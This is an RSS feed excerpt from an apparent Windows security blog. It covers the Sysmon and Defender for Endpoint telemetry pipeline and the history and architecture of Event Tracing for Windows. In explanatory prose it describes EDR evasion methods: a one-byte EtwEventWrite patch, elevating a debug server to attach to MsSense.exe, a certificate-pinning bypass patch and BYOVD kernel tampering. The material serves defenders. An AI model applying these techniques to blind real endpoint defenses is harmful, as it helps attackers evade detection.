For most organizations licensed for MDE Plan 2 and without a mature detection-engineering team, yes -- MDE alone is the right baseline. For organizations with a detection-engineering team, the community pattern is to deploy MDE *plus* a tuned Sysmon configuration (specifically Olaf Hartong&apos;s `sysmonconfig-mde-augment.xml`) that fills the gaps where MDE&apos;s `Device*` schema truncates or omits fields that Sysmon&apos;s manifest captures verbatim -- the `ProcessAccess` GrantedAccess mask, the full WMI consumer expressions, RawAccessRead, the pipe events, and selected file-delete archival paths. The wrong answer for an MDE-licensed shop with a detection-engineering team is to do nothing on the Sysmon side; the second-wrong answer is to deploy *default* Sysmon alongside MDE, which produces double the telemetry volume for the coverage of one [@github-hartong-modular][@mde-ms-learn].

The five class-specific `Device*` tables (`DeviceProcessEvents`, `DeviceNetworkEvents`, `DeviceFileEvents`, `DeviceImageLoadEvents`, `DeviceRegistryEvents`) each map onto a single Sysmon EID family and present a normalized, per-class set of columns. `DeviceEvents` is the miscellaneous catch-all: AMSI scan results, exploit-protection events, Defender Antivirus operational events, Attack Surface Reduction rule fires, Network Protection blocks, OpenProcess API calls, and other MDE-specific telemetry surface here under different `ActionType` values. If a row&apos;s `ActionType` does not match what you expected, the row is probably in `DeviceEvents` rather than the table you searched first [@advanced-hunting-overview].

No. The historical root is SwiftOnSecurity&apos;s `sysmon-config`, created on February 1, 2017 per the GitHub REST API [@github-swiftonsecurity-meta]. Florian Roth (`@Neo23x0`) forked SwiftOnSecurity&apos;s repository in January 2018 and added blocking-rule support, community pull-request merges, and the maintainer roster that now includes Tobias Michalski, Christian Burkard, and Nasreddine Bencherchali [@github-neo23x0]. The Neo23x0 repository was renamed to `NextronSystems/sysmon-config` on July 24, 2021 [@github-nextronsystems-meta]; the old URL HTTP-301 redirects to the new one and the content lineage from SwiftOnSecurity is unchanged. Calling Roth&apos;s config &quot;the original&quot; is the inverse of the truth; calling it &quot;the canonical actively-maintained fork&quot; is closer.

No. Sysmon supports one active configuration at a time. There is no aggregate-multiple-XMLs feature at the driver layer. Olaf Hartong&apos;s modular workflow generates a single merged XML at build time from a per-technique module library; the production fleet receives that single XML and the driver enforces it. If you want two configurations -- one for the SOC team&apos;s hunting, one for the platform team&apos;s audit -- merge the rules at build time and ship the combined product [@github-hartong-modular].

Because it runs as Antimalware Protected Process Light (`PROTECTED_ANTIMALWARE_LIGHT`), the Windows kernel rejects ordinary user-mode `OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE)` requests against the process from any caller that does not itself run at an equal or higher signer level. The published reverse-engineering technique (FalconForce 2022) is to raise the Windows PE debug server `dbgsrv.exe` to the `WinTcb` signer level via a PPLKiller-class kernel primitive, then attach the elevated debug server to `MsSense.exe`. That technique requires a kernel-mode primitive (commonly a BYOVD chain), which is itself non-trivial. The protection level is the structural defense; the debug-server technique is the dispositive community workaround [@falconforce-2022].

Thirty days of raw data in the Defender XDR portal: &quot;*Advanced hunting is a query-based threat hunting tool that you use to explore up to 30 days of raw data*&quot; [@advanced-hunting-overview]. Beyond thirty days, retention is configurable per workspace via the Microsoft Sentinel Defender XDR connector; the Log Analytics workspace archive tier supports up to twelve years of per-table archive on a per-GB-billed basis [@sentinel-xdr-connector][@ms-log-analytics-archive]. The two surfaces are not exclusive; the common operational pattern is in-portal for the hunting team (30 days, no per-GB cost) plus per-table Sentinel streaming for the analytics-rules team (extended retention, per-GB cost on selected tables).

&lt;p&gt;These are the questions. The seven layers between Maya&apos;s &lt;code&gt;cmd.exe&lt;/code&gt; at 9:14 a.m. and her Kusto row at 9:14:03 are how the answers actually work -- a kernel callback, a user-mode aggregator, an ETW publisher or TLS-pinned cloud forwarder, a regional Kusto ingest, a table write, and a KQL read, with two structural defenses (Antimalware-PPL and the Sysmon v15 protected-process gate) keeping each layer honest. Every other detection-engineering pattern in the Windows field is a configuration of those seven layers, and most of the open problems are at the seams between them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;See also.&lt;/strong&gt; The Sysmon driver&apos;s collection layer leans on the kernel-callback APIs documented in the &lt;a href=&quot;https://paragmali.com/blog/&quot; rel=&quot;noopener&quot;&gt;Windows process mitigations and Object Manager namespace&lt;/a&gt; articles in this series. The ETW transport bus that Sysmon publishes onto -- and that &lt;code&gt;EtwTi&lt;/code&gt; security events surface through -- is the subject of the dedicated ETW article in this series; the article goes deeper on provider GUIDs, manifests, and the eight-trace-session manifest-provider cap that bounds Sysmon&apos;s coexistence story in §10. The AMSI primary path that produces &lt;code&gt;DeviceEvents&lt;/code&gt; &lt;code&gt;ActionType = &quot;AmsiScriptDetection&quot;&lt;/code&gt; is the subject of the AMSI article; the two pipelines are siblings, not substitutes. And the Sigma rule corpus that compiles down into KQL for Defender XDR / Sentinel hunting is the same Sigma corpus that compiles into Splunk SPL and Elastic EQL -- the vendor-neutral query layer that sits above this article&apos;s KQL surface [@github-sigma].&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;sysmon-and-defender-for-endpoint-the-production-edr-telemetry-pipeline&quot; keyTerms={[
  { term: &quot;Sysmon&quot;, definition: &quot;Sysinternals tool by Russinovich and Garnier (August 2014, latest v15.2 March 2026) that uses Windows kernel callbacks plus a Filter Manager minifilter to collect 29 event types and publishes them via the Microsoft-Windows-Sysmon ETW provider to the Operational event log.&quot; },
  { term: &quot;Microsoft Defender for Endpoint (MDE)&quot;, definition: &quot;Microsoft&apos;s commercial cloud-correlated EDR. Renamed from Windows Defender ATP in September 2020. Runs as the Sense service (MsSense.exe) at Antimalware-PPL, shares the WdBoot ELAM and WdFilter minifilter substrate with Defender Antivirus, and lands events in the Advanced Hunting Kusto cluster.&quot; },
  { term: &quot;Microsoft Defender XDR&quot;, definition: &quot;The November 2023 rename of Microsoft 365 Defender. The unified portal at defender.microsoft.com that exposes Advanced Hunting on the Device* tables plus the cross-domain entity tables (AlertInfo, EmailEvents, IdentityLogonEvents, CloudAppEvents).&quot; },
  { term: &quot;Advanced Hunting&quot;, definition: &quot;The KQL-on-Device*-tables threat-hunting surface in Microsoft Defender XDR. 30 days of raw data, six core tables, the cross-domain entity table set, and a 100,000-row + 10-minute per-query quota.&quot; },
  { term: &quot;ProcessGuid&quot;, definition: &quot;Sysmon&apos;s per-process 128-bit GUID that survives PID reuse and uniquely identifies a process across its lifetime. The canonical join key for process-tree reconstruction.&quot; },
  { term: &quot;Antimalware-PPL&quot;, definition: &quot;Protected Process Light at the PROTECTED_ANTIMALWARE_LIGHT signer level. Prevents user-mode debugger attach, code injection, and OpenProcess-for-write from any caller not at an equal or higher PPL level. Gates MsSense.exe and Sysmon v15+.&quot; },
  { term: &quot;ELAM&quot;, definition: &quot;Early-Launch Antimalware. The Windows boot-order privilege that lets an Antimalware-EKU-signed driver (1.3.6.1.4.1.311.61.4.1) load before any non-ELAM driver and gate which non-ELAM drivers load. WdBoot.sys is ELAM; SysmonDrv.sys is not.&quot; },
  { term: &quot;DeviceProcessEvents&quot;, definition: &quot;The canonical reader-side Kusto table for MDE process-create events. ~50 columns including the InitiatingProcess* parent-process family. The MDE analogue of Sysmon EID 1.&quot; },
  { term: &quot;DeviceEvents&quot;, definition: &quot;The miscellaneous catch-all Kusto table. AMSI scan results, exploit-protection events, ASR rule fires, OpenProcess API calls, and other MDE-specific events surface here under ActionType discriminators.&quot; },
  { term: &quot;Sysmon EID 27 FileBlockExecutable&quot;, definition: &quot;Sysmon v14&apos;s (August 2022) first preventive event. The minifilter intercepts the file-handle close; if the rule matches and the content carries an MZ/PE header, Sysmon logs EID 27 and marks the file for deletion. The copy command produces no error and appears to succeed -- the file is then deleted at handle-close. Confined preventive surface; not a general-purpose application allowlist.&quot; },
  { term: &quot;sysmonconfig-mde-augment.xml&quot;, definition: &quot;Olaf Hartong&apos;s pre-generated Sysmon configuration that drops the EIDs MDE covers (1, 3, 7, 11, 12-14, 22) and keeps the EIDs MDE truncates or omits (8, 9, 10 verbose, 15, 17-18, 19-21, 23 archive). The detection-engineering-community default for MDE coexistence.&quot; },
  { term: &quot;FalconForce 2022 / CVE-2022-23278&quot;, definition: &quot;The dispositive published reverse-engineering of MsSense.exe debug techniques (dbgsrv.exe at WinTcb PPL via PPLKiller) and the disclosed cloud spoofing vulnerability patched by Microsoft on March 8 2022.&quot; },
  { term: &quot;InfoGuard Labs 2025&quot;, definition: &quot;The follow-on reverse-engineering of MDE cloud authorization. In-memory patch of CRYPT32!CertVerifyCertificateChainPolicy (mov eax,1; ret) to bypass certificate pinning, followed by disclosure of missing-authentication on /edr/commands/cnc and /senseir/v1/actions/ endpoints. MSRC classified low severity; no fix committed.&quot; }
]} questions={[
  { q: &quot;Why is calling Sysmon &apos;ETW-based&apos; only half-true?&quot;, a: &quot;ETW is Sysmon&apos;s *output* bus (Microsoft-Windows-Sysmon ETW provider feeding the user-mode service and downstream collectors), not its primary *input* source. Sysmon&apos;s driver collects via kernel callbacks: PsSetCreateProcessNotifyRoutineEx, PsSetLoadImageNotifyRoutine, PsSetCreateThreadNotifyRoutineEx, ObRegisterCallbacks(PsProcessType), CmRegisterCallbackEx, and Filter Manager minifilters (covering both ordinary file system and NPFS named pipes). Two input-side ETW-consumer exceptions exist: Microsoft-Windows-DNS-Client for EID 22 DNSEvent, and the WMI activity provider for EIDs 19-21 WmiEvent.&quot; },
  { q: &quot;Why does Hartong&apos;s sysmonconfig-mde-augment.xml exist as a community artifact rather than a Microsoft-published reference?&quot;, a: &quot;Microsoft does not publish a per-ActionType-to-per-kernel-callback cross-walk for the MDE EDR sensor. The community knows the Device* reader-side schema and the user-mode component inventory (Sense, MsSense.exe, SenseCncProxy.exe, SenseIR.exe, SenseNdr.exe), but not the kernel-callback inventory. Hartong reverse-engineered which Sysmon EIDs MDE truncates or omits and built the augment config to fill the gap.&quot; },
  { q: &quot;What architectural change does Sysmon v15 (June 2023) introduce, and what attack class does it close?&quot;, a: &quot;Sysmon v15 runs the user-mode service as PROTECTED_ANTIMALWARE_LIGHT, disallowing a wide range of user-mode interactions. The closed attack class is the SYSTEM-privilege user-mode tamper surface: sc stop, wevtutil clear of the Operational log, code injection into Sysmon.exe, ordinary debugger attach, and OpenProcess(PROCESS_TERMINATE). The residual attack surface is kernel-mode primitives, typically delivered via BYOVD.&quot; },
  { q: &quot;Where in the seven-layer pipeline does FalconForce 2022 intercept Defender for Endpoint?&quot;, a: &quot;Between layers 2 and 4. FalconForce raised dbgsrv.exe to WinTcb PPL (defeating layer 2&apos;s Antimalware-PPL protection on MsSense.exe), attached the elevated debug server to MsSense, and instrumented SspiCli!EncryptMessage to capture plaintext payloads before the TLS-with-cert-pinning transport (layer 4) ran. The plaintext capture surfaced CVE-2022-23278, which Microsoft patched March 8 2022.&quot; },
  { q: &quot;What are the four structural ceilings the EDR pipeline cannot lift?&quot;, a: &quot;(1) The pre-driver-load horizon: events before the EDR driver&apos;s DriverEntry are invisible; the ELAM boundary is the upstream bound. (2) The observation-vs-enforcement latency gap: Sysmon kernel-callback to event-log is sub-ms; MDE end-to-end to Kusto is seconds. (3) MDE schema truncation: ProcessAccess GrantedAccess masks, WMI consumer expressions, RawAccessRead, and PipeEvent are not surfaced in the Device* tables verbatim. (4) The kernel-mode adversary primitive: an attacker with a kernel write capability defeats HVCI + VBL + PPL + ELAM as a consequence of defeating the defenses themselves.&quot; },
  { q: &quot;Which Sysmon configuration is the correct starting point for a new deployment?&quot;, a: &quot;Depends on the deployment posture. For air-gapped / regulatory-no-cloud / unlicensed: NextronSystems/sysmon-config or olafhartong/sysmon-modular&apos;s default sysmonconfig.xml. For MDE-licensed environments with a detection-engineering team: olafhartong/sysmon-modular&apos;s sysmonconfig-mde-augment.xml. For MDE-licensed environments without a detection-engineering team: do not deploy Sysmon -- run MDE alone. The wrong starting point in any context is default Sysmon alongside MDE without the augment config.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>edr</category><category>sysmon</category><category>defender-for-endpoint</category><category>etw</category><category>threat-hunting</category><category>kql</category><category>detection-engineering</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>ETW: How Windows 2000&apos;s Performance Hack Became the EDR Substrate</title><link>https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/</link><guid isPermaLink="true">https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/</guid><description>Event Tracing for Windows is the kernel-buffered observability bus every modern Windows EDR consumes. This is the architecture, the attacks, and the one provider that survives them.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
Event Tracing for Windows is the high-rate, kernel-buffered observability bus that every modern Windows EDR consumes. A 2007-era architectural decision -- letting eight sessions read the same provider concurrently -- is what makes multi-vendor coexistence possible on a single host. Microsoft&apos;s `Microsoft-Windows-Threat-Intelligence` provider, gated behind Protected Process Light and an ELAM-signed Antimalware certificate since the Windows 10 RS-era, fires from the kernel side of memory-modifying syscalls and survives the user-mode `EtwEventWrite` patch class that defined red-team tradecraft from 2020 to 2022. The remaining attack surface -- BYOVD-driven kernel tampering -- is structurally narrowed by the Vulnerable Driver Blocklist enabled by default since Windows 11 22H2, with the residual sub-microsecond-payload gap remaining as ETW&apos;s irreducible &quot;observation, not enforcement&quot; limit.
&lt;h2&gt;1. Why didn&apos;t the patch silence Defender?&lt;/h2&gt;
&lt;p&gt;A red-team operator drops onto a 2026 Defender [@paragmali-com-war-it]-protected box and runs the move that worked five years ago. They locate &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; in the calling process, write the byte &lt;code&gt;0xC3&lt;/code&gt; over the function prologue, and the calling process now silently fails to emit user-mode ETW events. The .NET CLR provider goes dark. &lt;code&gt;Invoke-Mimikatz&lt;/code&gt; loads from &lt;code&gt;execute-assembly&lt;/code&gt; without lighting up &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;. Defender catches the credential dump [@paragmali-com-and-the] anyway, four seconds later, and the operator is on a SOC analyst&apos;s screen before the shellcode finishes running.&lt;/p&gt;
&lt;p&gt;The patch worked. The .NET tracing provider in that process is mute. Attach a debugger and disassemble the function prologue: the first byte is now &lt;code&gt;0xC3&lt;/code&gt;, the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret], and any caller falls straight back to its return address before producing a single event. The technique is the one Adam Chester documented in March 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet], and to a generation of red teamers it has functioned as a near-universal ETW evasion ever since.&lt;/p&gt;
&lt;p&gt;So why did Defender still fire?&lt;/p&gt;
&lt;p&gt;Because Defender does not consume &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; to detect a credential dump. It consumes &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; [@fluxsec-eti] [@fluxsec-eti] -- a provider whose GUID is &lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;, whose events fire from inside the kernel side of memory-modifying syscalls, and whose producer the user-mode patcher cannot reach. The patch operated on a &lt;code&gt;ntdll&lt;/code&gt; trampoline. The signal Defender used was emitted from a different layer entirely.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Modern Windows EDR is layered on ETW, and the layers fail under different attacks.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That single asymmetry -- one provider goes dark to a one-byte patch, another fires from a place the patcher cannot touch -- is the spine of this article. Around it sits a 26-year story of one Microsoft team accidentally building the substrate of every modern Windows endpoint security product.&lt;/p&gt;

A high-rate, kernel-buffered tracing facility built into Windows since 2000. Components called *providers* emit events tagged with a GUID; *controllers* configure trace sessions; *consumers* subscribe to live event streams or read recorded `.etl` files. ETW was designed for low-overhead developer diagnostics; it was retrofitted into the security-telemetry substrate that all modern Windows EDR products consume.

A class of endpoint security product that ingests behavioural telemetry (process creation, image load, memory allocation, network connection, registry change), correlates it against detection logic, and produces alerts and response actions. On Windows, the dominant EDRs (Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne, Elastic Defend, Wazuh, Sysmon-plus-SIEM) all build on ETW or on the same kernel callbacks ETW exposes to the user-mode tier.
&lt;p&gt;To understand why a one-byte patch silences one provider but not another, we have to go back to a Windows 2000 design decision about per-CPU ring buffers.&lt;/p&gt;
&lt;h2&gt;2. ETW in Windows 2000: the performance problem that started it all&lt;/h2&gt;
&lt;p&gt;Imagine a 1999 network-driver author. A customer&apos;s NT4 production server is corrupting packets under load and the only available instrumentation is &lt;code&gt;DbgPrint&lt;/code&gt;. Each call serialises through a kernel debug port, costs measurable percentage points of CPU on a busy box, and ships data to whoever happens to have the kernel debugger attached. The customer says no. The bug reproduces only at production traffic levels. You cannot ship enough printf-debugging through a debug port to find it.&lt;/p&gt;
&lt;p&gt;That is the engineering pain Insung Park and Ricky Buch&apos;s team was solving when ETW shipped with Windows 2000. Their design moves -- recorded years later in the definitive April 2007 MSDN Magazine article on the Vista upgrade [@ms-park-buch-2007] [@ms-park-buch-2007] -- still define the architecture two and a half decades later.&lt;/p&gt;
&lt;p&gt;The first move was per-CPU ring buffers. A producer on CPU 7 writes to CPU 7&apos;s buffer with no lock contention against producers on other CPUs. Hot-path tracing on a 64-core machine does not serialise. The kernel allocates at least two buffers per logical processor [@ms-event-trace-props] [@ms-event-trace-props] so a producer can keep writing while a writer thread drains the previous buffer.&lt;/p&gt;
&lt;p&gt;The second move was an asynchronous writer thread. The producer never blocks on disk I/O. It writes to its CPU&apos;s buffer and returns. A separate kernel thread drains buffers to file or hands them to a real-time consumer. ETW pushes the latency tax onto the consumer and the storage path, never onto the producer&apos;s hot loop.&lt;/p&gt;
&lt;p&gt;The third move was dynamic enable and disable. Park and Buch describe the resulting capability in one sentence:&lt;/p&gt;

ETW gives you the ability to enable and disable logging dynamically, making it easy to perform detailed tracing in production environments without requiring reboots or application restarts. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
&lt;p&gt;That sentence is the entire reason ETW could later become the EDR substrate. A producer compiles its trace points into shipping code at low cost; a controller flips them on at runtime when somebody actually wants the data. Without that property, you cannot build a security product that ships universal kernel tracing on a billion endpoints.&lt;/p&gt;
&lt;p&gt;The fourth move was the trichotomy of providers, controllers, and consumers [@ms-etw-wdk] [@ms-etw-wdk]. Microsoft did not write ETW as an internal-only facility. From the start, third parties could write providers (driver authors instrumenting their own code), controllers (performance tools starting and stopping sessions), and consumers (analyzers reading event streams). The architecture is open by design.&lt;/p&gt;

A component that emits ETW events, identified by a GUID. A provider is registered with the system at runtime via the `EventRegister` API (or its predecessor `RegisterTraceGuids` for classic providers) and emits events via `EventWrite` (or `TraceEvent`). Providers ship inside Windows itself, inside Microsoft applications, and inside any third-party binary that wants to expose tracing.

A component that creates, configures, enables, and stops trace sessions. Controllers select which providers a session subscribes to and at which level and keyword bitmask. The Windows Performance Recorder, `logman`, `xperf`, and every EDR&apos;s session-management code are controllers.

A component that reads events from a session in real time or from an `.etl` file on disk. Consumers register a callback that the system invokes once per delivered event. The Windows Performance Analyzer, the krabsetw library, SilkETW, and every EDR&apos;s sensor process are consumers.

flowchart LR
    Ctl[Controller&lt;br /&gt;StartTrace + EnableTrace] --&amp;gt; Sess[Trace Session&lt;br /&gt;per-session buffer pool]
    P1[Provider on CPU 0] --&amp;gt; CPU0[CPU 0 buffer]
    P2[Provider on CPU 1] --&amp;gt; CPU1[CPU 1 buffer]
    P3[Provider on CPU N] --&amp;gt; CPUN[CPU N buffer]
    CPU0 --&amp;gt; WT[Writer thread&lt;br /&gt;asynchronous drain]
    CPU1 --&amp;gt; WT
    CPUN --&amp;gt; WT
    Sess -.governs.-&amp;gt; CPU0
    Sess -.governs.-&amp;gt; CPU1
    Sess -.governs.-&amp;gt; CPUN
    WT --&amp;gt; File[(.etl file)]
    WT --&amp;gt; RT[Real-time consumer&lt;br /&gt;OpenTrace + ProcessTrace]
&lt;p&gt;The original Windows 2000 implementation supported 32 trace sessions running simultaneously [@ms-etw-sessions] [@ms-etw-sessions], a number Microsoft later raised to 64 globally. ETW was framed as a developer-diagnostics facility -- the Windows Driver Kit primary still describes it that way [@ms-etw-wdk] [@ms-etw-wdk] -- and the security-telemetry use case did not exist for almost a decade.&lt;/p&gt;
&lt;p&gt;But the design choices that made ETW good for low-overhead production diagnostics turn out to be exactly the design choices a security telemetry bus needs. Per-CPU buffers solve the multi-core throughput problem. Asynchronous writes solve the producer-latency problem. Dynamic enable solves the always-shipping-but-mostly-off problem. The trichotomy solves the third-party-extensibility problem. Twenty-five years later, every modern Windows EDR consumes telemetry through the same four primitives.Windows 2000&apos;s 32-session global cap [@ms-etw-sessions] is preserved verbatim on the modern Microsoft Learn page: &quot;Windows 2000: Supports only 32 event tracing sessions.&quot; The cap doubled to 64 in later releases and has stayed there ever since.&lt;/p&gt;
&lt;p&gt;The 2000-era design carried one limit, however, that turned out to matter for security: only one trace session could enable a classic provider at a time. The next ten years would be defined by the consequences.&lt;/p&gt;
&lt;h2&gt;3. The MOF era: one session, one steal, one decade of coexistence pain&lt;/h2&gt;
&lt;p&gt;In 2005, a third-party performance monitor that registered a classic provider could find itself silently disabled the moment Microsoft&apos;s &lt;code&gt;wprui.exe&lt;/code&gt; started its own session against the same provider GUID. The first session got no error. It just stopped receiving events. That second-consumer-steals-first behavior is the architectural fact of the entire 2000-2007 era.&lt;/p&gt;
&lt;p&gt;Microsoft Learn still documents the rule in one sentence:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &quot;Up to eight trace sessions can enable and receive events from the same manifest-based provider. However, only one trace session can enable a classic provider. If more than one trace session tries to enable a classic provider, the first session would stop receiving events when the second session enables the provider.&quot; -- Microsoft Learn, Configuring and Starting an Event Tracing Session [@ms-etw-config] [@ms-etw-config]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That single rule made multi-EDR coexistence on classic providers structurally impossible. If Defender&apos;s predecessor and a third-party HIPS both wanted real-time process events from the same classic provider, they had to fight for it. The loser got silence with no notification.&lt;/p&gt;
&lt;p&gt;The provider class involved was &lt;em&gt;MOF-based&lt;/em&gt;, named after the schema language that described its events.&lt;/p&gt;

The schema description language inherited from WBEM (Web-Based Enterprise Management). For ETW, MOF files describe each event a classic provider can emit -- field names, types, tasks, opcodes -- and are compiled into the WMI repository at install time using `mofcomp`. Consumers decode events by querying the WMI repository for the matching MOF schema.

A synonym for *MOF provider*. The original ETW provider class introduced in Windows 2000. Registered with `RegisterTraceGuids`, emits events via `TraceEvent`, decoded against a MOF schema in the WMI repository. Capped at one trace session per provider.
&lt;p&gt;The MOF model was workable for a single-consumer world. A performance-tuning team running an in-house tool could enable the provider, capture, and disable. As the substrate of a security stack with multiple agents on the same host, it could not work. The mid-2000s had not yet produced a &quot;multiple agents on the same host&quot; world, so the limit did not bite immediately. By 2007 it would.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Era&lt;/th&gt;
&lt;th&gt;Schema location&lt;/th&gt;
&lt;th&gt;Sessions/provider&lt;/th&gt;
&lt;th&gt;Adoption in 2026&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MOF / classic&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;WMI repository&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Niche; mostly NT Kernel Logger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPP&lt;/td&gt;
&lt;td&gt;2002&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.pdb&lt;/code&gt; (TMF)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Pervasive inside Windows internals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manifest-based&lt;/td&gt;
&lt;td&gt;2007 (Vista)&lt;/td&gt;
&lt;td&gt;XML manifest&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Dominant for security telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TraceLogging&lt;/td&gt;
&lt;td&gt;2015 (Win10)&lt;/td&gt;
&lt;td&gt;Inline (TLV)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Rising for new app/service code&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A handful of classic providers survived the 2007 transition and are still significant. The most important is the NT Kernel Logger [@ms-etw-sessions] [@ms-etw-sessions], the special-purpose system session that captures high-throughput kernel events: file I/O, disk I/O, registry operations, network packets. On most consumer SKUs it remains the only path to those event streams at line rate. Sysmon and most kernel-level diagnostics tools use the NT Kernel Logger or its modern descendants.The NT Kernel Logger is a system reserved logger. There is exactly one of it on a host, and the kernel itself owns the buffers. Tools that want kernel disk, file, registry, or network events at high throughput typically subscribe through it rather than through manifest providers. This is why a host can have eight &lt;code&gt;Microsoft-Windows-Kernel-File&lt;/code&gt; consumers but cannot easily have two simultaneous full-fidelity disk I/O traces.&lt;/p&gt;
&lt;p&gt;By 2007 Microsoft knew the one-session limit had to go. The fix shipped with Windows Vista in January 2007, and it was the central architectural decision of the entire ETW-as-EDR-substrate story.&lt;/p&gt;
&lt;h2&gt;4. Vista&apos;s eight sessions: the architectural decision that made the modern EDR endpoint possible&lt;/h2&gt;
&lt;p&gt;Park and Buch open their April 2007 MSDN Magazine article with the line that frames every later development:&lt;/p&gt;

On Windows Vista, ETW has gone through a major upgrade, and one of the most significant changes is the introduction of the unified event provider model and APIs. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
&lt;p&gt;The new model raised the per-provider session cap from one to eight. That single number is why Defender, CrowdStrike Falcon, SentinelOne, Sysmon, and a researcher&apos;s SilkETW tap can all read &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; [@fireeye-silketw-launch] [@fireeye-silketw-launch] from the same host today without one of them stealing events from the others.&lt;/p&gt;
&lt;p&gt;The Vista model also unified two things that had been separate. ETW providers wrote to per-CPU ring buffers; the Win32 Event Log was a different facility with its own writer, its own format, and its own consumers. Park and Buch describe the unification verbatim:&lt;/p&gt;

The new unified APIs combine logging traces and writing to the Event Viewer into one consistent, easy-to-use mechanism for event providers. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
&lt;p&gt;After Vista, a single &lt;code&gt;EventWrite&lt;/code&gt; call from a manifest-based provider lands both in the per-CPU ring buffer for ETW consumers &lt;em&gt;and&lt;/em&gt; in the &lt;code&gt;evtx&lt;/code&gt; channel for &lt;code&gt;wevtutil&lt;/code&gt; and Group Policy audit consumers, depending on how the manifest&apos;s channel mappings are configured. The &quot;Event Viewer&quot; the user sees is now a consumer of ETW.&lt;/p&gt;

The Vista-era ETW provider class. The provider author writes an XML manifest enumerating events, fields, tasks, opcodes, levels, keywords, and channels. The `mc.exe` message compiler turns the manifest into a binary resource embedded in the provider binary; `wevtutil im` registers the manifest with the system at install time. At runtime the provider calls `EventRegister` once per provider GUID and `EventWrite` per event. Capped at eight trace sessions per provider.

A logical destination for an event, declared in a manifest. The four standard channels are *Admin* (operational events for administrators), *Operational* (verbose events for operators), *Analytical* (high-volume events for diagnostics), and *Debug* (developer-only events). When the provider&apos;s `EventWrite` fires, the kernel demultiplexes by channel: events with channels enabled in the `evtx` configuration land in the corresponding channel log, while subscribed real-time consumers receive them through their session.
&lt;p&gt;The deployment pipeline for a manifest-based provider is heavier than for a classic provider. The author writes a manifest, compiles it, embeds the resource, and runs &lt;code&gt;wevtutil im&lt;/code&gt; at install time. Microsoft Learn calls out the distinction between provider registration and manifest installation [@ms-eventregister] [@ms-eventregister] explicitly, and notes that each process can register up to 1,024 providers [@ms-eventregister] [@ms-eventregister]. In practice few processes come close.&lt;/p&gt;

flowchart TD
    A[Author writes manifest.xml] --&amp;gt; B[mc.exe compiles to binary resource]
    B --&amp;gt; C[Resource embedded in provider .dll/.exe]
    C --&amp;gt; D[Installer runs wevtutil im manifest.xml]
    D --&amp;gt; E[System-wide manifest registry]
    F[Provider process at runtime] --&amp;gt; G[EventRegister GUID]
    G --&amp;gt; H[EventWrite per event]
    H --&amp;gt; I[Per-CPU ring buffer&lt;br /&gt;for ETW sessions]
    H --&amp;gt; J[Channel demux&lt;br /&gt;Admin / Operational / Analytical / Debug]
    J --&amp;gt; K[(.evtx log files)]
    I --&amp;gt; L[Real-time consumers]
    E -.decode metadata.-&amp;gt; L
    E -.decode metadata.-&amp;gt; K
&lt;p&gt;The cap rules now read like this: eight trace sessions can enable a manifest-based provider concurrently [@ms-about-etw] [@ms-about-etw]; up to 64 sessions can run on the system at once [@ms-etw-sessions] [@ms-etw-sessions]; &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt; when the per-provider cap binds [@ms-enabletraceex2] [@ms-enabletraceex2]. The 8-session number was chosen for ergonomics, not for security planning, but it is the load-bearing number in modern Windows endpoint security.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The eight-session cap on manifest-based providers is the single architectural decision that made multi-EDR coexistence on the same Windows host possible. Without it, the second EDR to subscribe to &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; would silently steal events from the first.&lt;/p&gt;
&lt;/blockquote&gt;
